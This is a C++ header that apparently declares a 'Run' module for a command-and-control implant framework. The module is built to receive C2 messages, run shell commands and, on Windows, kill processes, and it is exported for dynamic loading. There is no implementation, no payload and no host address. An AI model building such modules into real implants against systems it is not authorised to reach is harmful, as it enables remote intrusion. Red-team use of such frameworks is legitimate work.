#pragma once #include "ModuleCmd.hpp" #ifdef _WIN32 #include #endif class Run : public ModuleCmd { public: Run(); ~Run(); std::string getInfo(); int init(std::vector& splitedCmd, C2Message& c2Message); int process(C2Message& c2Message, C2Message& c2RetMessage); int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg); int osCompatibility() { return OS_LINUX | OS_WINDOWS; } private: int execBash(const std::string& cmd, std::string& result); #ifdef _WIN32 bool m_isProcessRuning; HANDLE m_processHandle; int killProcess(); #endif }; #ifdef _WIN32 extern "C" __declspec(dllexport) Run * RunConstructor(); #else extern "C" __attribute__((visibility("default"))) Run * RunConstructor(); #endif